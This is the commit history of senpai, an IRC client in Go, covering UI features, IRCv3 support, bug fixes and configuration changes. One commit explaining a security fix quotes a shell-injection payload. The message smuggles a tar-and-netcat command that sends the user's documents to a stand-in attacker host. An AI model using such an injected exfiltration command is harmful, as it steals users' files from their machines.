single link hotkey for them.

Switch to the upstream tcell implementation of OSC 8 hyperlink

tcell has merged OSC support in [1], with support for more terminals
than what was added in the tcell fork we used.

Now, all terminals with mouse sequences support should receive OSC 8
hyperlinks sequences.

[1]: https://github.com/gdamore/tcell/pull/527/commits/e7b14a71dc78721c0f007fd6197262c52c1d4df9
Fixes: https://todo.sr.ht/~taiite/senpai/103

Scroll to buffer on zoom

Fix crashing on ISUPPORT PREFIX=

On servers without prefixes, we previously crashed because of a missing
break.

The intended logic was to only process the string if it was not empty.

Replace non-UTF8 chars with the Unicode replacement character

tcell does not handle non-UTF8 chars well, so we explicitly replace them
when getting the messages to avoid passing them to tcell down the line.

Prevnet highlighting on notices, drop unknown CTCP

Make the last opened channel visible in the horizontal list

When starting senpai, we jump to the last opened buffer. Offset the
horizontal target list to make the buffer visible, as if scrolled to
with CTRL+N.

Fixes: https://todo.sr.ht/~taiite/senpai/100

Use WHOX rather than WHO when available

This will reduce network usage and possibly increase WHO cache hit ratio
on bouncers supporting a WHO cache.

Always show the date of the top message

Even if it is a continuation line.

Fixes: https://todo.sr.ht/~taiite/senpai/98

Highlight only on word boundaries

Preivously, we highlighted the user for any message that contained the
nick, even in the middle of a word.

Now, we only send a highlight if the user was mentioned in a single
word, by detecting word boundaries around the mention of the user.

For example, considering user "foo":

Previously, we would highlight on "foo" and "foolish".
Now, we highlight only on "foo".

This was inspired/copied from soju's handling [1].

[1]: https://git.sr.ht/~emersion/soju/tree/5e56cc30c538eb88c21cce732e2e357e80098164/item/irc.go#L473

Fixes: https://todo.sr.ht/~taiite/senpai/97

Show the message date instead of its time on date change

Fixes: https://todo.sr.ht/~taiite/senpai/17

Mention /help rather than man

Using man to learn more about senpai is obvious. Using /help is more
specific to senpai.

Mention that rather than the man.

Revert to using base colors by default, making extended configurable

In a previous commit, the color scheme for displaying nicks was changed
to use more colors (30 rather than 14), using extended colors from the
256 colors set.

The issue with this is that most terminal emulators customize the colors
of the first 16 colors to make them more readable (eg, a terminal
emulator with a light theme will make colors darker, and one with a dark
theme will make colors lighter). So the 14 colors used before were
usually not the default color codes from the original xterm/X11 spec,
but specific colors chosen by the terminal emulator to be particularly
readable.

In a way, changing the behavior to use colors from the 256 colors set,
which is usually not overriden, made them much less readable.

Which is why we need a configuration option for this.

I conversatively chose to make the default color scheme the previous
one, with only the base 16 colors.

The 256 colors scheme can be enable by adding to the configuration file:

  colors {
    nicks extended
  }

Add a project description

This will help maintainers create their package.

Update maintainer

Color nicks in the member list the same as in the timeline

Also, change the color scheme to use more colors. Now 30 instead of 15,
and with the consistent color codes offered by the extended XTerm 256
color scheme.

Fixes: https://todo.sr.ht/~taiite/senpai/90

Add support for soju.im/bouncer-networks-notify

This enables dynamic discovery of new and deleted networks.

Fixes: https://todo.sr.ht/~taiite/senpai/71

Document selecting with shift

Fixes: https://todo.sr.ht/~taiite/senpai/91

Hide automatic away replies

We don't care about them since we display the user away status using
MONITOR.

Add a config option to beep on highlight

This will allow to bring user attention when you are getting
highlighted.

Add support for hex colors

Add pane-widths { text } to limit the max line width

Fixes: https://todo.sr.ht/~taiite/senpai/87

Fix crashing when shrinking the text to a zero width

Thanks steamyalt for the bug report.

Fixes: https://todo.sr.ht/~taiite/senpai/86

Scroll to the channel when changing the horizontal channel

Previously, when running CTRL+N or CTRL+P to go to the next or previous
channel, with the horizontal channel mode, the selected channel could
appear offscreen.

This patch ensures that we scroll just enough to make the newly selected
chan visible.

Thanks to Nomeji for his hard work on this. Adapted slightly to
refactor existing code to use the newly created width computation
routine.

Fix dropping words in /msg, /query, /part

Inspired by a patch from gildarts <gildarts@orbital.rocks>

Update soju.im/read to draft/read-marker

You'll need a recent soju version to use this.

Implement /whois

Reset history when flushing lines

Previously, when modifying a line in the history (and then possibly
sending it), the history was modified, meaning that when looking up
history lines again, instead of seeing a new line, the actual original
line had been modified.

With this patch, history is always kepy, and modifying a previous line
and sending it will add this line to the history, and restore the
previous history, after flushing the message.

Fix crashing on removing last char of backsearch pattern

To reproduce:
- Enter a message
- Enter a substring of that message, backsearch it
- Press backspace until the substring is cleared
- senpai crashes

This merely fixes the crash. We could do backsearch better in the future
but that's a whole feature overhaul to be done in its own patch.

Thanks to paren@disroot.org for helping me find the issue by sending a
panic trace :)

/mode: enable getting the channel modes without parameters

Fix horizontal channel buffer clicks on negative positions

Fix horizontal channel list buffer underline position

Enable specifying the size of disabled channel & member columns

make install an independant task in Makefile

update man to reflect changes on pane-widths behaviour

Support +channel-context

See: https://github.com/ircv3/ircv3-specifications/pull/498

Handle IRC read events correctly

It should mark the buffer as read if the last message was
before or at the "read" event, not after.

Show error when searching if unsupported

It's confusing to search for something and have no results show if the
server doesn't support the soju.im/search capability.

Use time.Parse for parsing incoming server times

Following a pprof profiling, using fmt.Scanf was slow. time.Parse is
faster and more readable.

Send SASL PLAIN authentication on connect

This saves one round trip by letting us send BOUNCER LISTNETWORKS right
away and speeds up startup time.

Fetch the chat history of the last opened buffer first

This will slightly speed up startup time.

Defer parsing URLs until a buffer is opened at least once

This heavily reduces CPU load on start, so that we only parse the links
of the current buffer hundreds of messages, rather than all of the
hundreds of messages * count of buffers.

Fix default highlight command path not being used

Add a config option for unread buffer text color

This patch adds the ability to set a config option for changing the
foreground text color of unread buffers

(This was refactored slightly by delthas.)

Update mailing list

Enable clicking on a horizontal buffer to switch to it

This is inspired by a patch from mooff.

This keeps the same click & drag behavior as for the vertical channel
list.

Scroll horizontal channel list with the mouse wheel

This is inspired by a patch by mooff.

The horizontal channel list can now be scrolled with the mouse wheel.

Show/hide the channel & member list with F7/F8

This patch is inspired and modified from a patch by mooff.

Also this switches the default configuration to *display* the channel &
member list by default.

Delete word on Alt+Backspace

This is a standard shortcut.

Fix home buffer tooltip

Private messages are now sent to their own buffer, rather than in the
home buffer.

Optimize URL regex

Following a quick local profiling & benchmark, matching links with
regexes is by far (>50x) the most time-consuming processing we do,
especially on start.

Switching to a URL regex with any scheme is faster by a factor of ~x8,
probably because there are many less "or" cases between a list of 100+
schemes, instead using a simple character class.

Batch events by time period rather than by fixed size

Previously, we would render every 64 events (at most).

Now that we have many more events, with history & read, batch events by
period rather than static size.

Waiting up to 200ms before refreshing is a good compromise between
responsiveness and performance.

Only send READ for messages received from a channel

i.e. don't enter an infinite loop when printing disconnection errors :-)

Implement SEARCH

Also refactor ui/ to support overlays, temporary anonmyous buffers.

See: https://github.com/emersion/soju/pull/39

Add a 15s keepalive to connections

My DSL line is awful atm, I'd like to know ASAP when I'm disconnected so
that I don't write paragraphs into the void.

Add HTTPS schema by default to hyperlinks

Drain the events channel when closing

This avoids rare cases where we try to send messages to the event
channel, but it is full and blocks the Close routine.

Use delthas/tcell fork

This adds support for OSC 8 hyperlink on some VTE-based terminal
emulators.

Optimize URL parsing performance

According to a CPU profiling I meade, the regex applied on each incoming
message took a substantial part of the CPU time. The slowdown it caused
was noticable at startup.

This optimizes the URL parsing by eliminating fast-path cases where no
dot appears to avoid parsing the line with a regex in those cases.

Add support for the ALL_PROXY, NO_PROXY environment variables

This adds support for SOCKS5 proxy support through standard environement
variables.

To connect to the SOCKS5 proxy at host:port with credentials user:pass,
run:

  export ALL_PROXY=socks5://user:pass@host:port

Co-authored-by: the-y <the-y@riseup.net>

Fix segfault on /mode x

Return an error instead of segfaulting when handling /mode x where x
is a string that starts without + - or #

Enable clicking on channel members to open a query with them

Make CTRL+C alternatively clear the input and set '/quit' in it

/query: only send MONITOR, ... if the buffer is new

/query: support optionally sending a message

Fix event collapsing

Add support for the soju.im/read capability and READ command

See: https://github.com/emersion/soju/blob/c7f0634ec8ee94425547b159bc36705582151012/doc/read.md

Rename ColorGrey to ColorGray for consistency

ui: add commands completion

ui: buffers: sort buffer list

Implements sorting of both network names and buffer names inside
networks.

MONITOR user with whom we have an open buffer

docs: update Ctrl-C behaviour

this behaviour was changed back in
c078fbbb029fd248756ea5d7726f9ae6090a4ee3

ui: use reverse colors for current buffer instead of underline

I personally find this esthetically more pleasing.

Take NICKs into account when reducing join/part lines

So that 1/ redundant events are removed even if people change nick in
the mean time and 2/ events that are actually not redundant are not
removed, e.g.

	+val  val->jw  +dan  dan->val  -val

should be reduced to

	+val  val->jw

instead of

	val->jw  +dan  dan->val

Remove old init

Used back when senpai showed a random message at startup

Implement /kick and /[un]ban commands

Allow selecting buffers with Alt+{1..9}

Bump history batch limits

Initial history request: 200 -> 500
Infinite scroll request: 100 -> 200
Reconnect request: 200 -> 1000

Do not mark the buffer as unread on MODE

Merge redundant events

Don't double-enable caps

Some servers might adjust their sasl cap at runtime, e.g.

    CAP NEW sasl=PLAIN,EXTERNAL
    […]
    CAP NEW sasl=PLAIN

In this case, we don't really want to `CAP REQ sasl` again, because
this will make us re-authenticate a second time.

Avoid requesting caps which have already been ACKed.

Use second precision for bound computation

Should solve duplicates on servers that don't store message stamps with
the full millisecond precision offered by the time tag (e.g. soju)

Fetch history for queries

Use RPL_SASLSUCCESS to end registration

See https://github.com/ircv3/ircv3-specifications/pull/476

config: remove debugging fmt.Println

README: fix syntax of debug option for scfg

senpai.5: fix color code in example

3 is yellow, not green. The person who wrote this should really fix
their color scheme.

senpai.5: remove mention of no-tls

This option no longer exists

Finish registration when not using SASL

We wait until after AUTHENTICATE to send CAP END like a good client,
but it needs to be sent when SASL isn't used, too.

Merge MODE messages

Also, fix an issue where mode strings only displayed the first
parameter.

Add support for draft/event-playback

- Refactor formatting lines into a function
- Store event times in the event
- Refactor merging lines into a function
- Always merge lines from the history, now that we will add mergeable
  lines with CHATHISTORY

Successfully tested locally.

Show the current channel topic at the top of the timeline

Only use first line of `password-cmd` output

Tidy things

config: replace YAML with scfg config format

This patch replaces the YAML configuration format with scfg
(https://git.sr.ht/~emersion/scfg).

Additionally, a few things about configuration are cleaned up:
* abbreviated names are expanded (addr -> address, nick -> nickname)
* negative bools switched to positive (no-tls -> tls)
* independent column widths are grouped under the "pane-width"
  directive
* implementation of default configuration values is improved
* password-cmd is executed directly (with scfg field parsing)
  instead of with "sh -c".
* on-highlight is now a file, $XDG_CONFIG_HOME/senpai/highlight by
  default, which can be changed with the on-highlight-path directive

Add support for CHATHISTORY TARGETS

Also write the last buffer on SIGTERM, SIGINT and SIGHUP

Fix link value, removing debug query string

Fix crash when lone slash is entered

See ticket #79 for more information

Handle tcell error events by closing

This is namely useful when the terminal is closing: these events are
sent, and we should close when that happens (instead of panicking).

OK GitHub: update README.MD

Add support for the /QUERY command

This lets open a buffer to a user without sending a message.

Add support for user buffers

Fix part-ing a channel with duplicate name in other networks

If there are multiple channels with the same name in several networks,
we should part from the one from the correct network.

Authenticate on CAP NEW sasl

Also retrieve username on registration

Eagerly request capabilities

It simplifies the code and make registration use one less roundtrip

Allow App.Close() and App.Run() to be run concurrently

Don't merge message bounds from multiple networks

Otherwise it breaks infinite scrolling.

Take mode changes into account

Revert "Show the current channel topic at the top of the timeline"

This reverts commit 96340f8c4d91f59f6e39767891f9bb52d7fad329 because of
a bug in timeline rendering.

Show the current channel topic at the top of the timeline

Remove IRC formatting before printing the topic

I prefer this over printing the IRC formatted string, since the topic
should be printed in gray.

Fix requried go version

We use os.WriteFile which is >=go1.16

Ensure BATCH's first arg is not empty

Mark hyperlinks with the OSC hyperlink terminal escape

This makes multi-line links properly clickable.

See: https://gist.github.com/egmontkob/eb114294efbcd5adb1944c9f3cb5feda

/mode: default channel to the current channel

Don't show notifications when receiving a message from self

Print the topic after the first batch of history

The topic is the first line we put in a buffer, so we have to place the
first batch of history *before* the topic, instead of after.

Fix requesting CHATHISTORY of empty channels

Channels which have never received any message return no messages on the
initial chathistory, thus returning an empty bound with first == last ==
time.Time{}.

However this empty bound was stored in the channel bounds, and was used
as starting point for fetching history if Page Up was pressed. This in
turn caused senpai to send a CHATHISTORY BEFORE 01-01-0001 message,
which is invalid.

This fixes the issue by not storing an empty bound if the CHATHISTORY
request does not return any message.

Make vertical channel list scrollable

Seems like I really have too many channels... :)

Rework the /help command

- Normalize usage display
- Sort commands alphabetically

Show the full command name on user error

Sync screen during resize

For CtrlL to actually refresh the screen.

Scroll up/down highlight by highlight

timeline drawing: fix off-by-one error

status bar drawing: fix off-by-one error

doc: clarify some things

Support for soju.im/bouncer-networks

This patch also disable the highlight on reconnect. This might be an
issue (the user would want to know when senpai is online again?), but
with multiple connections, it's bothersome to have to unread all of
them on start (it wasn't a problem with only one connection since it was
read instantly).

Now, lastbuffer.txt also contains the network ID, otherwise the user
might end up on another buffer with the same name.

This patch does not extend /r to support multiple networks (it will send
the message to the latest query, whatever the current displayed network
is).

Remove draft file

It should not have been added in the first place

Sort channel staff before other members

Simplify string building logic in app.go

Make use of away-notify

Don't panic when a command is sent when offline

nit: also remove naked returns

Add an /invite command

Add support for the INVITE message

Don't expect the server to send correct IRC messages

Instead of panicking, print an error in the home buffer

Cleanup unused caps

They don't add anything in the UI, and generate useless traffic.

Account tracking is not used:
- account-notify
- account-tag
- extended-join

We don't really care about users, hosts, nor real names:
- extended-join
- userhost-in-names

away-notify and invite-notify are also not used, but will be in the near
future.

Don't display buffer numbers on empty command

doc: fix indentation and use _ instead of ` for keywords

Add an .editorconfig file

config: allow specifying an external password cmd

Storing passwords in plaintext in your configuration file is dangerous!
This patch adds support for fetching a password from an external
command (i.e. `gpg`, `pass`, `gopass`).

Rework vertical lists

Fix ui.StyledStringBuilder

Cleanup drawVerticalMemberList

Only show buffer numbers when necessary

Saves space

also removed non-edition related method IsCommand out of editor.go

Don't forget to close outgoing chan on debug

Simplify channel loop

Revert "Eager registration"

This reverts commit 60f9e6570e40c0a0cbb10976b0ec6a7076fdb453.

Eager registration

Decreases the number of roundtrips necessary for registration.

A typical registration might look like this:

- C: CAP LS; NICK; USER
- S: CAP LS
- C: CAP REQ
- S: CAP ACK
- C: AUTHENTICATE <mesh>
- S: AUTHENTICATE +
- C: AUTHENTICATE <user/pass payload>
- S: RPL_SASLSUCCESS
- C: CAP END
- S: welcome batch

By sending client messages eagerly, despite the number of message not
decreasing (it's increasing when the client supports more caps than the
server), the number of roundtrips is decreased to 1 (not counting TCP
and TLS negotiation).

add compiled doc to gitignore

Restore last buffer on start

review emersion

review taiite

review taiite

Use os.WriteFile instead of os.Create

Fix history not being loaded on channel re-JOIN

Remove IRC formatting when printing the topic

Sort typing indicators

Fix horizontal channel bar drawing

Show mode changes

Fix typing indicators not being removed

Remove needless allocations

Remove buffer arg in commands

More lints

Random code improvements/tidying

Fix typos

Fix line wrapping not working on history

Use messageBounds for infinite scroll CHATHISTORY requests

Don't show the member list by default

Channel list is horizontal by default

Fetch missed messages on reconnect

just one step closer to proper CHATHISTORY support!! :=D ^v^

Remove outdated UI tests

IRC formatting is now handled prior to word wrapping.

Introduce backsearch message support with ctrl+R

Fixes: #47

ui: fix editor tests

Enable scrolling through the vertical member list with the mouse wheel

Update copyright to include all contributors

Accept pull requests on Github

Fix crash on disconnect

The crash was due to accessing app.s.Nick() when app.s was nil.

This is a good opportunity to print a special prompt when disconnected:
I chose `<offline>`, in red.

Make buffers indexed, and refer to indexes with /BUFFER

Fixes: #29

ui: Introduce a vertical member list on channels

Also, fix the UI timeline clearing too much, as well as the status line.

Also, remove the width in the editor and buffer list constructors. We
were initializing them with wrong values, only to overwrite these values
with correct ones later in Resize().

Print the channel topic on join

Fixes: #45

Add notify types for fine-grained control of unread/highlight state

Namely, we want the unread light to show up only on actual messages, not
commands etc.

This opens the way for not showing an unread light when printing topic
on join.

Automatically join channels on start

Supporting channels with keys and merging JOINs in a single message is
TODO for later. :)

Don't send typing=done when input is already empty

Always update prompt

Switch to the buffer of a new user-requested channel join

Clear the input on CTRL+C instead of quitting

We have /QUIT for quitting. Most well-known IRC clients don't quit on
CTRL+C but they do on QUIT.

Clearing the editor input on CTRL+C is useful for shell-like behaviour
"abort current line, let me start my line again".

Ratelimit +typing and send +typing=done once only

Fixes: #8
Fixes: #41

Sort channel members by name

This is used for nick autocomplete and for /NAMES.

It will also be used for the vertical user list in the UI in a upcoming
patch.

Ignore case when searching for a /BUFFER

Best-effort regular casemapping, not the IRC session's one. :P

Fix backspace support on some terminals

Namely the emulated Jetbrains Golang debugging PTY. :)

Do not print empty rows

If a message contains a sequence of spaces/tabs that is wider than the
terminal, do not print an empty row.

Update tcell

Pull in foot support

Fix senpai(5) formatting

ui: don't mark // in input as a command

Prior to this, IsCommand was returning true for inputs starting with two
slashes and thus showing ">"-prompt.

This is a possible confusion (and unwanted behaviour) because the user
might think that they are writing a command but in fact, the message
would be sent verbatim (excluding first slash).

doc/senpai.5: mention the issue with \ disappearing

Fixes #65

Add colors.prompt option to set prompt color

Also make dashes gray for command responses

Pick nick colors in terminal color scheme

So that the colors go well with the terminal background.

Do not go into infinite loops on TLS mismatch

- do the TLS eagerly instead of waiting for the first write, so that an
  error message can be printed,
- sleep for 10 seconds before reconnecting, otherwise when connecting
  without TLS to a TLS server, the connection will always succeed while
  the first writes will not.

Fix ui tests

commands: use rawArgs on non-command

This way, the first slash when doing //-message is not deleted because
parseMessage writes the result to rawArgs, instead of the editor
content.

Fixes #63

commands: do not handle s == ""

handleInput already checks for this.

doc/senpai.5: update docs for addr field

* senpai automatically adds :6697 or :6667 when not set, thus the port
  is optional
* Non-TLS connections are supported, too

Moving to libera.chat

Because the part later suggests joining #senpai, which is now on
Libera.Chat instead of Freenode, it would make sense to update this
as well.

commands: use Home constant instead of "home"

Disallow sending messages to home

This is not a channel and if one wants to send messages to user "home",
they would do "/msg home ..." instead.

Remove parenthesis around notices

Reason: interaction with services don't render well with parenthesis

Handle consecutive spaces on arg split

Explicitly support keys in JOIN messages

Separate command handling from plain messages

- So that lone slashes can be recognised
- Also handle two slashes and pass them as one in plain input

Fix races conditions

Refactor:
- Split out reads/writes from irc.Session to irc.ChanInOut,
- Message handling is now manual, messages must be passed to
  irc.Session.HandleMessage for its state to change,
- Remove data-race-prone App.addLineNow (called from both the main
  eventLoop and irc loops) and add App.addStatusLine (to be called from
  the main event loop) and App.queueStatusLine (to be called from other
  goroutines).  These two functions now write to both the current buffer
  and the home buffer,
- add a irc.Typings.List function that locks the list of typings before
  accessing it.

Changes as I went through the whole code...
- CAP handling is fixed (especially CAP DEL and CAP ACK),
- irc.Session now handles PREFIX,
- unhandled messages are now shown, except for some rare cases where
  it's completely useless to show them.

Add /mode command

Add /nick

Add port if missing (v2) and don't set keepalives

commands: ignore empty input

Prior to this, when sending nothing, senpai throws the following
nonsense at you:

    "": usage:

Now empty input is ignored, preventing this from appearing
(whitespace-only message should still work).

ui/editor: add boundary checks for word actions

Prior to this, if the input is spaced out (whitespace skip), word
movements caused senpai to crash because there were no boundary checks.

Update tcell to 2.3.1

https://github.com/gdamore/tcell/releases/tag/v2.3.0
https://github.com/gdamore/tcell/releases/tag/v2.3.1

Properly show cursor on two-width characters

go fmt

Don't look for nor execute sh when on-highlight is empty

Print config error message on stderr

Update documentation examples and add warning

Use environment variables for on-highlight

Breaking change!

The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:

    <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "

Given that my on-highlight is:
    notify-send "%b" "<%n> %m"

This would be transformed into:

    notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""

And this way it becomes a huge security vulnerability.

When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.

Though, this requires a little update to users' on-highlight setting:

  %b -> $BUFFER
  %n -> $SENDER
  %m -> $MESSAGE
  %h -> $HERE

Better error reporting about configuration file

- Better errors in config.go
- Do not print useless timestamps in cmd/senpai/main.go
- Let os.UserConfigDir() and senpai.NewApp() call panic on error since
  they both should not fail.

Use path.Join to construct config file path

It would make it work on non-Unix systems and also handle things like
.. in the configuration option

Make mouse support optional

To not break existing users, mouse is enabled by default but you have an
option to disable it with "mouse: false" in your
/.confg/senpai/senpai.yaml.

Make sure app.s is not nil when issuing quit

Prior to this, when the connection is lost, issuing /quit was causing a
segfault.

editor: Ctrl+{Right,Left} moves cursor by words

A very useful readline feature when combined with ^W can be a really
quick way to reformat a sentence, which is what I do on IRC quite often.

Add BUFFER command to jump to the matching buffer

Is is very useful when you have joined a bunch of channels and scrolling
with Ctrl+n/Ctrl+p is quite inefficient.

senpai.5: fix typo

Fix duplicate lines when scrolling up

Add option to disable sending typing notifications

Revert back to tcell 2.2.0

tcell 2.2.1 has a bug [0][1][2] that made senpai need a keypress after
Ctrl-C was hit.

[0] https://github.com/gdamore/tcell/issues/452
[1] https://github.com/gdamore/tcell/pull/454
[2] https://github.com/gdamore/tcell/commit/7694d9082153d3ddfc0ca0815731e1a093321ac1

Blacklist more colors

Split long messages before sending them

avoids silent truncations.

Also consider the LINELEN ISUPPORT token:
- https://defs.ircdocs.horse/defs/isupport.html
- http://rabbit.dereferenced.org/~nenolod/ircv3-harmony/id-wpitcock-ircv3-core.html#rfc.section.3.8.2.1.17

Split the "feature" map into specific attributes

deps: update tcell and runewidth

cmd/test: load useTLS from the config

senpai.5: document no-tls and debug config options

editor: add ^W delete word binding

It allows to delete the current word (any string of characters until a
space). Also, all spaces at the start are cleared to allow doing
something like:

    Hello world|
    Hello | <- the cursor is at a space
    | <- nothing left

Don't show own typing notifications

Add PHONY Makefile targets

Add Makefile

docs: Fix typo

Fix segmentation fault when the server is down

Support cycling backward in auto-completions

Do not use dim styles on the buffer list

Reverse + Dim is not rendered the same way across terminals. For example,

- alacritty shows black text on gray background
- kitty shows gray text on white background

Better connection management

- Send keepalives
- Reconnect when the connection is lost
- Set timeout for write operations

Add senpai to .gitignore

mv cmd/irc cmd/senpai

Allows to `go build ./cmd/senpai` without having to specify -o.
Also more consistent with how cmd/ is used in the Go ecosystem.

Add a no-tls option to config

Fix command argument parsing

Add the QUIT command

Recognize beginning of commands

allows to only type the beginning of a command, like "/t" for "/topic".

Fix random crash on startup

The .exit value would be read before it was initialized.

Chathistory: don't send invalid timestamps

Show connection failure reason

Show command output on failure

Move configuration defaults to config.go

Make cmd/test usable

Don't forward outdated typing timeouts

The channel might have been parted, or the user might have parted from
the channel before receiving the timeout from Typings, thus causing a
segfault.

Polish the test client

Document irc/typing.go

Cleanly stop all coroutines on irc.Session.Stop

This fixes a panic when irc.Session.handle is called with an empty
message.

Document the IRC library

Only send the SelfJoinEvent when channel info is complete

Consider the CASEMAPPING isupport token

Using RFC1459 as a default since servers not advertising this token are
likely to be pre-IRCv2, thus following the casemapping described in the
RFCs.

Consider the CHANTYPES isupport token

Basic display of errors

Add completion for /msg

Move editor view when completing text

/topic completion

Don't autocomplete on empty word

Document functions in app.go

Fix prompt not being updated on click

Fix click colors on highlighted channel

Handle Alt-Home and Alt-End

To navigate to the first/last buffer

Support for mouse clicks on channel names

Scroll wheel support

Update manpages to account for latest changes

- Added chan-column-width
- user is now marked as optional

Configurable channel list width

Default user/real to nickname if unspecified

While at it, error out if nick is unspecified instead of sending a
broken command to the server.

irc: Fix requestHistory by making it use UTC

Vertical channel list

Collapse bufferlist in one block

Allow moving the timeline to the right

Handle KICK messages

Show topic changes

Closes #34

Ensure timestamps from msg.TimeOrNow() are always UTC

Fix duplicate timestamps

Caused by difference between timezones (lines initialized with
time.Now() are set to local timezone while lines initialized with
message time tag are set to UTC).

Closes #43

Display strike-through text

Update tcell to v2 and

- enable bracketed paste
- use hex color codes instead of ansi

Update screenshot URL

Fix crash when completing nicks with special chars

Not enough space was allocated for the completed text when the word
being completed had characters encoded in more than one byte.  This was
because "word" was a string instead of a []rune, thus "len(word)"
counted each byte instead of each character.

Fixes #42

Typing indicator timeout

irc: Reset typing ratelimiter after sent message

Move ui.Home and ui.homeMessages up

Update tcell and support italics

General refactor yay

- Centralize message formatting
- Make line formatting more flexible
- Provide more information in irc events
- Refactor command handling
- Add a /help command
- Make /me reply to last query if from home
- Enforce argument for /me
- Make BufferList and Editor public
- Batch processing of IRC events

Allow /part with a reason

Drop username and hostname from TopicWho

Improve query display

- Print outgoing messages as "-> target" instead of self nick
- Don't highlight messages

Fix multiple SelfJoinEvent being sent

... every time NAMES were requested. SelfJoinEvent should be ok being in
the "JOIN" handler, since names are only useful for the user.

Only fetch history on JOIN and PgUp

Fix topic time timezone

Fix /topic only accepting one word

Fix same messages being fetched with CHATHISTORY

The issue was that Message.Time() converted the timestamp to Local time,
and this local timestamp was being used with UTC timestamps.  Thus
senpai now converts the time only during display.

Moreover, to avoid missing messages in history (and at the cost of
duplicates), the condition in bufferList.AddLines() as been modified.

Don't send @+typing=done in the home buffer

doc: Fix typos, improve wording somewhat

ui: Blacklist dark colors for nicks

ui: Fix color codes

Fetch history on join

editor: Fix panic when pressing delete on empty input

ui: 1-cell padding for highlight nicks

doc: Update example with sway focus or something

ui: Show an error if on-highlight fails

Change %c to %b and add %h

ui: Strip formatting codes in notifications

Mention the man pages in README.md

git add doc

irc: Don't panic on a NICK from an unknown user

ui: Notify on highlight (or execute any command)

Fix highlight not following new nick on registration

ui: Autocompletion of nicknames

ui: Show unhandled messages in debug mode

ui: Show the nick when senpai registers with a different one

ui: Don't panic when the connection fails

Properly close everything in case of error

ui: Show self /msg and /r even if echo-message is off

Add /R command

irc: Fix RPL_TOPICWHOTIME handling

editor: Don't add another line if the last one is empty

ui: Fix crash in the word wrapping function

Add screenshot to README.md

irc: Update TopicWho and TopicTime on TOPIC

ui: Fix scroll when lines are added

When lines were added while "scrollAmt > 0", instead of incrementing
scrollAmt, add the height of the line.

irc: Send NAMES when multi-prefix is negociated

Add /names command

irc: Handle CAP NEW/DEL/NAK before registration

irc: Also update casefolded nickname on ERR_ERRONEOUSNICKNAME

irc: Use a bool instead of an error for validation

Handle RPL_TOPICWHOTIME

ui: Configurable nick column width

Fix +typing=active being sent incorrectly

Don't send it when the user starts typing a command (types '/' as the
first char of the input)

Add a /topic command

ui: Show /me from self when echo-message is off

ui: Reverse color of the nickname on highlight

irc: Delete ConnectionState and use a bool instead

irc: go syntax i guess

irc: Use better names for casefolded variables

irc: Use typing constants

irc: Simplify debug logging of incoming messages

Fill events with original channel case

Remove UserEvent and ChannelEvent

editor: Handle UP and DOWN keys

Actually the rune width issue is from alacritty

Support reverse character code

Show NICK changes

Fix colors not being reset with \x03

Use a custom runewidth.Condition

Because some characters were not using the number of cells
runewidth.RuneWidth returned, eg \u2026 and \u2192.

Add missing color termination character

Add a -debug flag and show raw messages

Don't request history of the home buffer

Show line on the left of typing indicators

editor: handle DEL key

editor: handle HOME and END keys

editor: fix off-by-one error

when writing on the last cell of the row

Also handle numpad's enter key

Tidying

Configurable highlights

Accept a -config command-line argument

And don't authenticate when no password is provided

Add a head for status lines

to avoid it to be mistaken for the continuation of the previous message

Show nick highlights

Show channels as bold on unread messages

Rework display

- Put timestamps, nicks and messages into separate columns
- Print a bar in the "typing" row
- Fix word wrapping
- Improve channel list display

Improve line editing

Correctly support moving around the text and placing glyphs at any
position.

Show incoming NOTICEs

Show messages from self when echo-message is disabled

Handle self-NICK

Add /quote command

Randomize welcome messages

Make message handlers able to return more than one event

Display queries in "home" buffer

Simplify color()

Yay go syntax

Add constants for IRC replies

Split event handling into functions

Display typing indicators

Use nick/realname from config

Use the nick/realname config options advertised by the README.

Use os.UserConfigDir

By using this function we become compliant with the XDG base directory
spec (XDG_CONFIG_HOME is used if set).

readme: fix example config

There's no way to escape single quotes in shell scripts. Since the
default password uses one, switch to here-documents.

Add the issue tracker and the mailing list to the README

Fix readme headers, add the ISC license

Add /msg command

Handle \x0F

Fix colors?

draft/chathistory support???

Don't scroll past buffer content

Add test for 0-width chars

Fix word wrapping for 1-wide characters

Make renderedHeight correct

wip

Split lines between words

Unknown sub-command ./cmd/irc

Buffers are now shown (mostly) correctly

senpai must now split on whitespace when drawing

Fix color codes

Thank IRSSI the client of the future when it was still 1999!

Show underline messages

Fix timezone with server-time

Also show QUITs

Show JOIN and PARTs

Nick colors

typing=done

Part Join Typing

Initial commit